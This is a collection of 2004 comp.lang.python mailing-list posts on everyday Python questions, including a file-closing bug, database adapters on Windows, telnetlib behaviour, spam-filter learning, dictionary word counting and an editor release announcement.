> simo <simoninusa2001 at yahoo.co.uk> wrote:
> .
> .
> .
> >Perl - bloody fast, if you're doing lots of text processing/regex
> >(e.g. XML parsing) then Perl is it, probably best for sysadmin tasks
> >too. We use this for large reports at work. I love its hash handling
> .
> Let me get this straight:  your preferred vehicle for XML
> parsing is Perl regular expressions?  That's ... well, it's
> a different impression than I've ever gained from anyone
> else with deep XML experience.  It's sure not my first
> instinct.
>

Not sure what the entire context of this thread is, but I get the impression
that you've misread what he was saying. XML parsing is an example of text
processing, and there are a number of Perl modules that can be used for that
task. Perl probably wouldn't be my first choice for parsing markup languages
(I'd personally use Omnimark), but it is all things to all people.

Matt




From steve at ferg.org  Wed Feb 11 10:01:13 2004
From: steve at ferg.org (Stephen Ferg)
Date: 11 Feb 2004 07:01:13 -0800
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <b16e4ef7.0402110701.5acf67e4@posting.google.com>

I've just spent several very frustrating hours tracking down a bug in
one of my programs.  The problem was that I was writing text to a
file, and when I was done I coded

   f.close

when I should have been coding

   f.close()

with the parentheses.

Although I love Python dearly, the fact that such an easy-to-make
mistake should do nothing useful and do it silently (which, in this
context, means: fail silently) seems to me a bit of a wart.

In any event, does anybody have any suggestions for how a coder could
avoid making such a mistake, or detect it quickly?

I teach the occasional beginning Python class, and I would hate to
have to tell my beginning students to watch out for making this kind
of mistake because it can bite you in a most nasty way.


From gh at ghaering.de  Wed Feb 18 07:53:29 2004
From: gh at ghaering.de (=?ISO-8859-1?Q?Gerhard_H=E4ring?=)
Date: Wed, 18 Feb 2004 13:53:29 +0100
Subject: How to use Python + PygreSQL on a WinXP system
In-Reply-To: <3c7787f3.0402160716.44bb2157@posting.google.com>
References: <3c7787f3.0402160716.44bb2157@posting.google.com>
Message-ID: <40336049.70608@ghaering.de>

Radu Stanciu wrote:
> Hi,
> 
> I want to use the PygreSQL modules on a Windows machine (more exactly
> a WinXP one). I've downloaded the latest version (3.4 so far) and I am
> required to build the pgmodule C library. Is there a way to avoid
> this? 

No.

> I need to install this on many user systems and it would be very
> hard to do.

You'd only have to build it once and create an installer with commands like this:

python setup.py build
python setup.py bdist_wininst

That's all, provided that your C compiler is set up correctly and you use the way 
I used to build PyGreSQL packages when I still offered win32 versions of it. Maybe 
I documented it in PyGreSQL's setup.py at the time, maybe I didn't ;-)

> Is there a compiled package available for this? Or an easier way to
> install this package?

If all you need is a DB-API module to access PostgreSQL databases, pyPgSQL offers 
win32 binaries http://pypgsql.sourceforge.net/

I do support the pyPgSQL on win32, so if you have any questions, ask me directly 
or even better yet, on the pyPgSQL mailing list.

Somewhere on the net, there are also psycopg win32 binaries, if you happen to 
prefer this PostgreSQL adapter over the others.

-- Gerhard



From webmaster at ac-strasbourg.fr  Thu Feb 26 04:00:00 2004
From: webmaster at ac-strasbourg.fr (webmaster at ac-strasbourg.fr)
Date: 26 Feb 2004 01:00:00 -0800
Subject: INFORMIX & Python/ZOPE
References: <92c875f.0402170828.46efe605@posting.google.com>
	<40350a45$1@pfaff2.ethz.ch>
Message-ID: <92c875f.0402260100.3827ce05@posting.google.com>

I'd love to post a traceback, but I can't because my ZOPE instance
"freezes" and is unable to log anything, I have to kill it.

I've also tried to import the generated .so module in pyhton programs
(command line), in order to use it directly. The ZOPE problems I
experience become segmentation faults in the Python standalone program
(same request, same dd and same server of course),  always involving
date or date/time fields.

"Josef Meile" <jmeile at hotmail.com> wrote in message news:<40350a45$1 at pfaff2.ethz.ch>...
> Perhaps you should try to ask on the zope mailing list:
> http://mail.zope.org/mailman/listinfo/zope
> 
> Ah, and don't forget to post the complete traceback. Without
> it, it's almost impossible that somebody helps you.
> 
> Regards,
> Josef
> 
> <webmaster at ac-strasbourg.fr> wrote in message
> news:92c875f.0402170828.46efe605 at posting.google.com...
> > Hi,
> >
> > I'm desperatly trying to use Kinfxdb, but I have numerous segmentation
> > faults, who lead my Zope to crash. It mostly occurs when I try to work
> > with "date" fields (with an Informix Online database).
> > I got it here : http://zope.org/Members/papa/
> > I'm running a RH7.3 Server, with the latest Informix SDK available on
> > IBM website.
> >
> > Any idea ?
> >
> > Is there another free solution to connect Zope/Python and Informix ?
> > I've also tried informixdb but it doesn't work that great.
> >
> > By the way, is there a way to get rid of setting the INFORMIXSERVER as
> > en ENV variable ? It could be useful to use several servers at a time.
> >
> > Many thanks for any kind of help !


From tjreedy at udel.edu  Tue Feb 10 09:51:38 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 10 Feb 2004 09:51:38 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu><mailman.1398.1076388640.12720.python-list@python.org>
	<4028d4f4$0$3996$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <c0ar5t$1rf$1@sea.gmane.org>


"Anton Vredegoor" <anton at vredegoor.doge.nl> wrote in message
news:4028d4f4$0$3996$3a628fcd at reader1.nntp.hccnet.nl...
> "Terry Reedy" <tjreedy at udel.edu> wrote:
>
> [bart]
> >> Just asking for a bit of guidance. If my program works, should it be
> >> re-written to use functions or classes?
> >
> >Working correctly is most important.  Next is running fast enough.  Then
> >you can consider whether you or another person can read, edit, or reuse
six
> >months from now.  As for rewriting, would *you* gain some personal
benefit
> >from doing so?
>
> I disagree with the order in which you list these things, but that
> might be caused by whether one sees Python as a language to express
> ideas or as a tool to accomplish a more specific task.

I gather you are putting my list in the second category.  I see Python as
being excellent for both uses, and I think that part of its excellence is
that it works both ways as executable humancode.

The OP was asking about specific-task production code.  I believe that he
should first be praised for meeting the prime directive for such, that it
work correctly, before being critiqued for secondary stylistic goals.

> For example I
> am not a native English speaker, but I guess nobody would think it
> more important to avoid all spelling errors than to get the idea
> across.

When writing to communicate ideas to other people, 'working correctly'
means successful communication of the intended idea.  For this reason, I
sometimes post untested code that may not be exactly right but which
communicates an idea.  But when I do so, I label it as 'untested' or
'something like' to communicate that it is idea-passing code rather than
tested execution code.

 Terry J. Reedy






From jcarlson at nospam.uci.edu  Tue Feb 24 02:15:50 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 23 Feb 2004 23:15:50 -0800
Subject: Iptscrae to Python help wanted.
In-Reply-To: <20040223175809.20326.00000253@mb-m04.aol.com>
References: <20040223175809.20326.00000253@mb-m04.aol.com>
Message-ID: <c1ets3$ljn$2@news.service.uci.edu>

I have never seen Iptscrae, but if I wanted to do an infinite loop in 
Python, I'd use

while 1:
     #body

  - Josiah


From FBatista at uniFON.com.ar  Wed Feb 11 16:20:30 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 18:20:30 -0300
Subject: Hi All, have a  question
Message-ID: <A128D751272CD411BC9200508BC2194D033835F4@escpl.tcp.com.ar>

Paul Metzger wrote:

#- Hi, I'm still a relative Python newbie, though I am learning 
#- more with every
#- project:) I have a script I wrote to back up a Linux server 
#- to another
#- server. The script is centered around the OS module. Problem 
#- is, then I put
#- the #!/usr/bin/python in the front and try to run it as a 
#- executable, it
#- comes up and tells me the module can't be imported, and the rest goes
#- straight to hell from there. Thing is, if I run the script with the
#- interpreter manually (IE, python backup.py) it runs just 
#- fine. On the other
#- two servers, it works just like it should, I type back up 
#- and it runs. Does
#- anyone have any ideas where I need to start looking? 

If you type "python" in the command line, it opens the interpreter?

If yes, you can put "#!/usr/bin/env python" in the first line of the script.

And remember, in either case, the second line *must* be blank.

PD: The "subject" field in the mail is to write the subject of the mail, ;)

.	Facundo



From rus20376 at salemstate.edu  Fri Feb  6 11:40:30 2004
From: rus20376 at salemstate.edu (omission9)
Date: 6 Feb 2004 08:40:30 -0800
Subject: configuring ODBC DSN with a python script
References: <mailman.1260.1076005686.12720.python-list@python.org>
Message-ID: <defa238f.0402060840.1e1f206@posting.google.com>

"Robert Brewer" <fumanchu at amor.org> wrote in message news:<mailman.1260.1076005686.12720.python-list at python.org>...
> Jani Yusef wrote:
> > I am building an application which, unfortunately, 
> > *must* use an access db...
> > how do I configure the ODBC dsn without having the
> > user open up the ODBC control panel which will in
> > all honesty just scare and confuse them. ;)
> 
> I opined:
> > the thought crosses my mind that ODBC entries are merely a lump 
> > of registry keys--you might just create or even copy those 
> > programatically. That would be my first attempt.
> 
> and omission9 added:
> > Below is some code which more or less implements this...
> 
> Great work! I knew *someone* must have tried that before. :)
> 
> > One thing is that the system dsn created works perfectly fine but for
> > whatever reason doesn't show up in the odbc control panel. I am not
> > very well versed in Windows specific programming so am not sure why
> > that is but would like to know why. Anybody know why that is?
> 
> First guess: you need an entry in
> HKEY LOCAL MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources
OK, at the risk of strating to get a little OT.......
That looks to be correct but when I go to modify ODBC Data Sources as
I have with the other reg keys I get an access denied error. Any idea
about that?


From rtjoseph at ev1.net  Mon Feb 23 14:32:51 2004
From: rtjoseph at ev1.net (Ray)
Date: 23 Feb 2004 11:32:51 -0800
Subject: Learning Python on jEdit
Message-ID: <d422a60.0402231132.19acdc74@posting.google.com>

I want to jump in a learn Python.  I have spent about a day looking at
editors and IDEs and (probably prematurely) selected jEdit to work in.
 I have downloaded Python and jEdit.  I have been going over jEdit for
a while and can't real see how to get it to know that I am using
Python.

So there is more there than I expected.  Any suggestions on how to
configure (plugg-ins?) for jEdit and learn Python?

Ray


From peter at engcorp.com  Tue Feb 24 14:14:18 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 24 Feb 2004 14:14:18 -0500
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
	<c1ev6d$o9h$1@news.service.uci.edu>
	<ce782195.0402240756.73cf22eb@posting.google.com>
	<c1g0e4$t2n$1@news.service.uci.edu>
	<103n21s3lnfv18b@corp.supernews.com>
Message-ID: <403BA28A.8AAD4679@engcorp.com>

Cameron Laird wrote:
> 
> Josiah Carlson  <jcarlson at nospam.uci.edu> wrote:
> >Each version felt very much like you were holding someone's hand.
> >Moosebumps made a good suggestion to offer a short program, and describe
> >it as you go along.  In languages where you can insert a comment
> >virtually anywhere, you could document the code, describing the syntax
> >and features of the languages as you go along.  For those additional
> >language features (like lists, tuples, dicts, etc. in Python, and other
> >in other languages), having a section at the end describing the basic
> >(and advanced) data structures available to the language, seems to make
> >sense to me.
> 
> Me, too.  Josiah hits it just right.

This reminds me of something I just saw, in a little different context.
It's a coding standard, not a language description, but there's enough
similarity to the idea above that I thought it worth mentioning.  It's
Will Wake's "Java Coding Standard on a Page":

http://www.xp123.com/xplor/xp0002f/index.shtml

Would be interesting to see the same idea applied to language descriptions,
distilled right down to the essence.

-Peter


From tim.one at comcast.net  Thu Feb  5 18:43:30 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 18:43:30 -0500
Subject: spam classification breaker
In-Reply-To: <KYSjxUAcfsIAFwax@jessikat.fsnet.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEHMIMAB.tim.one@comcast.net>

[Robin Becker]
> .... are you asserting that spammers don't have access to the pdf that
> users are filtering?

Sorry, I couldn't make sense of that question.

> Each filter may be unique, but they can be biassed. --

It doesn't matter, because these classifiers learn.  In the early days of
the Spambayes project, we experimented with throwing "the best" N clues
(both hammy and spammy) out of the database, where "the best" was a measure
of how often and how strongly a feature contributed to a correct
classification.  Through several iterations of that, overall performance
remained just as good -- the classifier learned to look for other things.

If even the strongest features can be thrown away without harm, there's not
much use in trying to exploit small statistical bias.  It's not even clear
that any particular individual bias is widespread.  For example, "Nancy" is
a hammy word in my training data, but "Cecil" is spammy.  Is that universal?
Seems unlikely.  "Python" is very hammy for me, but is probably at best
neutral for most people; it may even be strongly spammy for most people,
thanks to <http://www.python.com>'s advertising.  Etc.  The details of your
personal email life may be as unique as a fingerprint.




From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Sun Feb 22 19:19:39 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Mon, 23 Feb 2004 01:19:39 +0100
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org><6ee58e07.0402221348.46171b05@posting.google.com><40392479@news.bezeqint.net>
	<mailman.176.1077492929.27104.python-list@python.org>
Message-ID: <c1bgtq$umm$1@news-reader2.wanadoo.fr>

Bonsoir !

Je comprend votre point de vue.
Cependant, une adress URL ne me g?ne pas  (avis purement personnel).

Bonne nuit.
--
Michel Claveau





From skip at pobox.com  Tue Feb 10 08:33:34 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 07:33:34 -0600
Subject: Parsing files
In-Reply-To: <A5AF6F04CF7FD311BC5700902773DDC701F65F07@exchange13.rl.ac.uk>
References: <A5AF6F04CF7FD311BC5700902773DDC701F65F07@exchange13.rl.ac.uk>
Message-ID: <16424.56750.41777.193185@montanaro.dyndns.org>


    Rob> Does anyone know of a neat way to read-in config files? At the
    Rob> moment I'm using the ConfigParser module but I have to add sections
    Rob> to the config file to make it parseable ie

    ...

In what way does the file not parse if the section is not available?  If you
need default values, take a look at the Options.py module which is part of
Spambayes:

    http://cvs.sourceforge.net/viewcvs.py/spambayes/spambayes/spambayes/Options.py?rev=1.104

Skip



From usenet_spam at janc.invalid  Fri Feb 27 12:28:07 2004
From: usenet_spam at janc.invalid (JanC)
Date: Fri, 27 Feb 2004 17:28:07 GMT
Subject: Two newby's questions
References: <mailman.45.1077640558.8594.python-list@python.org>
Message-ID: <Xns949CBBDF83472JanC@213.119.4.35>

Marcello Pietrobon <teiffel at attglobal.net> schreef:

> 1)
> I preferred to use the newsgroup but the server
> comp.lang.python / c.l.python ( as it appears with Mozilla ) looks down !
> Am I doing something worng or the link from the python.org pages
> http://www.python.org/community/lists.html
> does not work ?
 
Maybe a problem with the news server you use?
Try news.individual.net (it requires free registration but is very good)

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From ml71 at katamail.com  Thu Feb 19 13:54:03 2004
From: ml71 at katamail.com (DrPike)
Date: 19 Feb 2004 10:54:03 -0800
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com> <4033F249.FD73DAB6@engcorp.com>
	<4033F338.ED0DAC5A@engcorp.com>
Message-ID: <2ca51434.0402191054.5b999dc@posting.google.com>

Thanks for your answer!

DrP
---
Peter Hansen <peter at engcorp.com> wrote in message news:<4033F338.ED0DAC5A at engcorp.com>...
> Peter Hansen wrote:
> > 
> > Other options?  Or pointers to the right keywords to let someone
> > investigate the state of the art/literature more closely?
> 
> Dang time machine:  http://www.captcha.net/ .  Thanks Paul. :-)
> 
> -Peter


From christht at tihlde.org  Fri Feb 20 19:24:14 2004
From: christht at tihlde.org (Christian H. Toldnes)
Date: Sat, 21 Feb 2004 00:24:14 +0000 (UTC)
Subject: Installing RPM rebuild and failed dependency
References: <mailman.125.1077315056.27104.python-list@python.org>
Message-ID: <slrnc3d97e.mrn.christht@colargol.tihlde.org>

Brent L Johnson wrote:
> 
> Ummmmm - well... I figured there was probably a RH9
> package for the Berkeley DB but I wasnt sure what
> the package name was.  db4 eh?  I'll take a look.
> 

That's my guess. Haven't used RH for quite some time, so it could be a 
long shot. Probably wont be touching RH anytime soon either, due to 
their recent open source politics...

For servers I recommend Trustix, which has excellent python support BTW.



regards


c





From porky_pig_jr at my-deja.com  Thu Feb 12 16:34:36 2004
From: porky_pig_jr at my-deja.com (Porky Pig Jr)
Date: 12 Feb 2004 13:34:36 -0800
Subject: runing python interpreter and scripts from shared memory
Message-ID: <56cfb0e3.0402121334.4bc05354@posting.google.com>

Hello, 
I'm not that familiar with python, but in any case ... This is the
academic project involving 'extensible systems', where routines are
allocated in some memory shared among the multiple address spaces, and
user process can call those routine via kernel system call. One of the
key requirements for those routines is 'to be safe'. At this point I'm
looking as safe extensions to C (such as Cyclone), but at this point I
ask myself: why not an interpreted language like Python? I guess it is
safer than C and yet, as I undestand, is fairly powerful language.

What would be required is to have the whole thing in a core memory.
Either somehow compile python script, so it becomes the loadable
module (something similar to GJC, Gnu Java Compiler), or may be having
Python interpreter sitting in a core, and Python script compiled as a
bytecode, and also somehow loaded int the core. Would like to hear
from those familiar with Python internal workings if this is idea
worth persuing.

TIA.


From stach at fr.USUN.pl  Tue Feb 17 13:18:29 2004
From: stach at fr.USUN.pl (Krzysztof Stachlewski)
Date: Tue, 17 Feb 2004 19:18:29 +0100
Subject: IP list generation
References: <mailman.74.1077039244.31398.python-list@python.org>
Message-ID: <c0tlm9$s3p$1@absinth.dialog.net.pl>

"Stephen Briley" <sdb1031 at yahoo.com> wrote in message
news:mailman.74.1077039244.31398.python-list at python.org...

> I would like to write a python script that takes input
> of 2 ip address, one a start address and the other the
> end address and prints a list of all ip address in
> between  in dotted-decimal format.  If so, what is the
> recommended way?  Is there a way to do this with the
> supplied python modules?

What do you mean by addresses in between?
Maybe capturing the output of 'traceroute' command is
the thing you are searching for?

Stach



From steve at ferg.org  Wed Feb  4 15:36:45 2004
From: steve at ferg.org (Stephen Ferg)
Date: 4 Feb 2004 12:36:45 -0800
Subject: Need help with telnetlib flakiness
Message-ID: <b16e4ef7.0402041236.7b38c98d@posting.google.com>

I'm trying to use telnetlib to run a Java program on a remote server. 
I'm having strange problems, and I'm wondering if anyone might be able
to help.

I have two UNIX servers, A and Z.  

I have an application named LATTE that runs on server A.  When the
user starts LATTE, the user can choose to create a telnet connection
back to A, or to Z.  Then LATTE uses the telnet connection to run a
Java program (run it several times, on different input files) on the
selected server.   After each run, it uses read_until() to wait from
the prompt to reappear before running the program on the next input
file.

I have no problems when LATTE is connecting back to A.  Everything
works fine.  But when connecting to Z, strange things happen.  The
program runs fine on the first file, then on subsequent files does
nothing but write a series of beeps (\x07) to the console until the
telnet connection read_until() times out.

I've checked out all the reasonable possibilities : differences in
executables, differences in input files, which file is the first to be
processed,  etc.  The problem is not in the command itself --  on Z, I
can run the program just fine on each input file if I execute the
identical command from an interactive telnet prompt.

So I appear to be getting the flaky behavior only when running the
program via Python's telnetlib (not interactively from the console),
when connected to the remote server (Z), not the home server (A), only
on the second and subsequent input files (not on the first).

I'm buffaloed.  Does anybody have any ideas what might be going on? 
Is telnetlib reliable?

-- Steve Ferg

P.S. Here's my code:
=============================

cmd = ("java " + classpathSpec
         +" " + classfileName
         +" " + inFilename
         )
cmd += "\n" 

argTelnetConnection.write(cmd)
     
results = argTelnetConnection.read_until(argPromptString,30)


From llothar at web.de  Mon Feb  9 07:46:40 2004
From: llothar at web.de (Lothar Scholz)
Date: 9 Feb 2004 04:46:40 -0800
Subject: JPG Image Load,Resize,Save with 100% Python?
References: <c05dj3$q37$04$1@news.t-online.com>
	<6ee58e07.0402081805.4cc5df7b@posting.google.com>
	<c06vne$ilr$1@news.service.uci.edu>
Message-ID: <6ee58e07.0402090446.64b0a9aa@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c06vne$ilr$1 at news.service.uci.edu>...
> > There is nothing like this. 
> > 
> > Because this is a task that can't be done in Python well. 
> > You must expect it to be around 140 times (thats 14000%) slower then a
> > C library thats why nobody wants to do it.
> 
> 140 seems pretty extreme.  Most tests I've run put numeric calculations 
> at around 10-20 times slower, not 140.

A Jpeg libaary with a good optimization does only integer algorithm
and this is different from FP operations which are already slow on
Intel CPU's.

But i find find it strange that numerics (without using special
extensions) should only be 10-20 times slower then C. This is not what
you find in other benchmarks.

For example in the great language shootout 
"http://www.bagley.org/~doug/shootout/bench/sieve/"
you find that the "Sieve of Eratosthenes" as an integer algorithm 207
times slower then c. I think the algorithms are compareable in their
use of instructions.


From james at logicalprogression.net  Tue Feb  3 05:59:23 2004
From: james at logicalprogression.net (James Henderson)
Date: Tue, 3 Feb 2004 10:59:23 +0000
Subject: Python Dict problems
In-Reply-To: <BAY10-F46l4ES495Muw0003db47@hotmail.com>
References: <BAY10-F46l4ES495Muw0003db47@hotmail.com>
Message-ID: <200402031059.23916.james@logicalprogression.net>

On Tuesday 03 February 2004 8:59 am, venu gopal wrote:
> Hello people,
> iam finding great difficulty in handling a two-dimentional dictionary or
> any other similar data structure for the following purpose:
> from a collection of words,i need to have the count of each word so if i
> use:
>                     str=f.getline()
>                     for l in range(flen):
>                           if subs[l].has_key(str):
>                                   subs[l][str]=1
>                           else:
>                                   subs[l][str]+=1
>
> for this iam getting an error as "Type error:cannot concatenate str + int"
> i would be very grateful to the python-list if any one of you could kindly
> help me in solving this problem.

It would help if you showed all your code.  Where are "f", "flen" and "subs" 
defined?  I don't understand why the problem you describe needs a nested (if 
that's what you mean by "two-dimensional") dictionary, but maybe I don't 
understand the problem you describe.

Here's a hint anyway that might help:

>>> words = ['asas', 'dsds', 'dsds', 'foo', 'bar']
>>> d = {}
>>> for word in words:
...     d[word] = d.get(word, 0) + 1
...
>>> d
{'dsds': 2, 'foo': 1, 'asas': 1, 'bar': 1}

By the way, "str" is not an ideal variable name since it masks a builtin type.

HTH
James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From kak at purdue.edu  Fri Feb 20 00:16:22 2004
From: kak at purdue.edu (Avi Kak)
Date: Fri, 20 Feb 2004 05:16:22 GMT
Subject: Actual memory used by an object --- How to Determine?
Message-ID: <o55b301n4egma7be0il75gim9bqkc1m55s@4ax.com>



Hello:
  
  My apologies in advance for asking a
  question that probably has been raised
  numerous times already in this newsgroup.
  My Google search did not lead me to an 
  answer I could use.

  Is there a Python module I could use
  to determine the actual amount of memory
  used by a Python object, including the 
  memory used by any subobjects contained
  therein?

Avi Kak (kak at purdue.edu)




From lbates at swamisoft.com  Tue Feb 17 12:10:08 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 17 Feb 2004 11:10:08 -0600
Subject: Where to find the Pythonwin for Python 2.3?
References: <c0t4ve$1aue$1@mail.cn99.com>
Message-ID: <OdOdnYCuJcyy66_dRVn-tw@comcast.com>

try:

http://www.activestate.com/Products/Download/Download.plex?id=ActivePython


"??????????" <cyx at ustc.edu> wrote in message
news:c0t4ve$1aue$1 at mail.cn99.com...
> Hello, everyone
> I like the Python's IDE in windows --- Pythonwin.
> But now I can only find the version for Python 2.2.
> How can I get the Pythonwin for 2.3?
> Thanks!
>
>




From pete at shinners.org  Fri Feb 20 02:13:24 2004
From: pete at shinners.org (Pete Shinners)
Date: Thu, 19 Feb 2004 23:13:24 -0800
Subject: New SolarWolf, 1.5
In-Reply-To: <0qncg1-8o2.ln1@ID-66900.news.dfncis.de>
References: <mailman.54.1076978618.31398.python-list@python.org>	<dct8g1-7t.ln1@ID-66900.news.dfncis.de>	<mailman.9.1077120219.27104.python-list@python.org>
	<0qncg1-8o2.ln1@ID-66900.news.dfncis.de>
Message-ID: <c14c2l$hf9$1@sea.gmane.org>

Peter Strempel wrote:
> I suppose a significant amount of the low-level graphics stuff happens
> inside the SDL C libraries, which should help performance. But I guess I am
> not the person to lecture you about Pygame architecture. :)

You are correct here. All the graphics and sound routines happen inside SDL. 
Pygame does offer the ability to map image pixel data inside Numeric arrays, 
which does allow for more realtime graphics effects, like the classic 
'flame', blurs, fades, etc.

Still, pygame itself is fairly low level when you get the game programming 
parts. It is not a big framework or "canvas" type application. Your python 
code must do all the work of managing and communicating game objects.


> I noticed the Linux binary installer bundles Python. This annoyed me two
> days ago, but right yesterday I got complains from a user of one of my
> projects which is linked to Python 2.3 (and expecting this on the endusers
> box) who is running Fedora which still has Python 2.2. I think I see your
> point. Deployment on Linux sucks...

Hard to get around the Python in the packaging. If it's any consolation, 
this is how all the .EXE versions of python programs work too. My main goal 
of the linux binary was so it could run on computers at work, which are an 
ancient Redhat release. Fortunately the included Python is very transparent, 
so you only know it's there if you start digging in.





From mwilson at the-wire.com  Wed Feb 25 21:17:58 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Wed, 25 Feb 2004 21:17:58 -0500
Subject: Newbie: Return value semantics; copy or reference?
References: <403cec0f$0$95081$edfadb0f@dread11.news.tele.dk>
Message-ID: <WdVPAls/KnUO089yn@the-wire.com>

In article <403cec0f$0$95081$edfadb0f at dread11.news.tele.dk>,
"Michael J?rgensen" <ingen at ukendt.dk> wrote:
>[ ... ]
>It seems that the two Frame objects get initialized with the *same* Bpdu
>object. Why is that, and how do I make certain it doesn't happen.

   The Bpdu object that's used as Frame's default gets
created *once* when the `def __init__` statement gets
executed to create the Frame classes __init__ method.  That
is, that Bpdu instance is a permanent feature of
Frame.__init__ . The thing to do is code


class Frame:
    def __init__(self, _bpdu=None):
        if _bpdu is None:
            _bpdu = Bpdu()
        self.bpdu = _bpdu


so that a fresh instance of Bpdu is created for every call
to Frame.__init__ .

   If you'd been bitten while trying to create a default list
or dict, this would have been a FAQ.

        Regards.        Mel.


From bignose-hates-spam at and-benfinney-does-too.id.au  Fri Feb  6 16:40:58 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 7 Feb 2004 08:30:58 +1050
Subject: Total noob question re: python icon
References: <gNSUb.13647$GO6.12603@newsread3.news.atl.earthlink.net>
Message-ID: <slrnc283kp.o2u.bignose-hates-spam@iris.polar.local>

On Fri, 06 Feb 2004 20:27:56 GMT, ArtDent wrote:
> I read that this language has nothing to do with big reptiles, so how
> come the icon shows a snake?

The language has nothing to do with 1970s British comedy teams either.

> I understand that Linux is using the penguin, but how about an
> albatross or perhaps a spiny hedgehog?

Sure, how about it?  Show us your designs.

-- 
 \     "Cross country skiing is great if you live in a small country." |
  `\                                                  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From edreamleo at charter.net  Tue Feb  3 20:26:56 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Tue, 3 Feb 2004 19:26:56 -0600
Subject: ANN: Leo 4.1 rc4: An outlining editor
Message-ID: <1020imbjjcnj524@corp.supernews.com>

Leo 4.1 release candidate 4 is now available at:
http://sourceforge.net/projects/leo/

This release fixes numerous bugs reported since 4.1 rc3 and makes
several other improvements, including several nifty new plugins.

The highlights version 4.1:
---------------------------
- Leo runs in batch mode when invoked with --script aScriptFile.py
- Leo supports Unicode characters (e.g. Chinese) in path and file names.
- @directives and section references are now valid when executing scripts.
- @ignored and orphan nodes now valid in @file-nosent trees.
- Script-based find/change commands.
- Check Outline command.
- Hoist & DeHoist commands.
- A new gui-agnostic architecture: useful for batch mode and unit tests.
- Several new configuration settings.
- Many new unit tests.
- A host of bug fixes.

Quotes of the month
-------------------

I'm a newbie to Leo (a couple of weeks) and I feel addicted to
programming again...in fact it has resurrected a dead project of mine :)
The outline has proven most liberating in terms of testing ideas out.
Thanks a lot! -- anon

"Wow, wow, and wow. I just started using Leo about a month ago..Now I
finally understand how to use clones and I realized that this is
exactly how I want to organize my information.  Multiple views on my
data, fully interlinkable just like my thoughts...Thanks for a great
tool! -- anon

"I *LIKE* it; I was amazed at how [different the Leo] experience was
compared to flat-filing. It was almost Forth-like in the way that it
was possible to work top-down or bottom-up at will (I believe this is
the key to its strength, btw)." --Tarvin Rhodes

What is Leo?
------------
- A programmer's editor, an outlining editor and a flexible browser.
- A literate programming tool, compatible with noweb and CWEB.
- A data organizer and project manager. Leo provides multiple views
   of projects within a single outline.
- Fully scriptable using Python. Leo saves its files in XML format.
- Portable. leo.py is 100% pure Python.
- Open Software, distributed under the Python License.

Leo requires Python 2.1 or above and tcl/tk 8.3 or above.
Leo works on Linux, Windows and MacOs X.

Links:
------
Leo:      http://webpages.charter.net/edreamleo/front.html
Home:     http://sourceforge.net/projects/leo/
Download: http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:      http://sourceforge.net/cvs/?group_id=3458
Wiki:     http://leo.hd1.org/

Edward K. Ream
February 3, 2004
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From gernot at hillier.de  Sun Feb 22 09:50:52 2004
From: gernot at hillier.de (Gernot Hillier)
Date: Sun, 22 Feb 2004 15:50:52 +0100
Subject: learning to program with Python
In-Reply-To: <4038BE6A.5010902@iol.pt>
References: <4038BE6A.5010902@iol.pt>
Message-ID: <200402221550.55345.gernot@hillier.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi!

Am Sonntag, 22. Februar 2004 15:36 schrieb Ricardo:
> 		if corPelo != None
[...]
> the book says that it should be done like this, but when i finnish the
> 5th line(if corPelo != None) and press ENTER, it gives me the error:
>
>   Traceback (  File "<interactive input>", line 5
>      if corPelo != None
>                        ^
> SyntaxError: invalid syntax
>
> I hope someone can help me?
> Thanks in advance anyway.

You miss a colon (":") at the end of the line. It should be "if corPelo != 
None:" as also in the next if-command...

- -- 
Ciao,

Gernot
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQFAOMHOk997/GGeSeIRAiixAJ4lDz6d3tgy+nRb1sCBFEUWQNGX1ACff8UC
FLhjTJlSxyrbn82vL7zPcHg=
=rV/5
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From gb at cs.unc.edu  Fri Feb 20 16:56:44 2004
From: gb at cs.unc.edu (Gary Bishop)
Date: 20 Feb 2004 16:56:44 -0500
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com> <4033F249.FD73DAB6@engcorp.com>
	<4033F338.ED0DAC5A@engcorp.com>
Message-ID: <4036829c_1@news.unc.edu>

Peter Hansen <peter at engcorp.com> wrote:

> Dang time machine:  http://www.captcha.net/ .  Thanks Paul. :-)

For a brilliant scheme for defeating these things check out this
posting at slashdot.

http://yro.slashdot.org/article.pl?sid=04/01/28/1344207&mode=thread

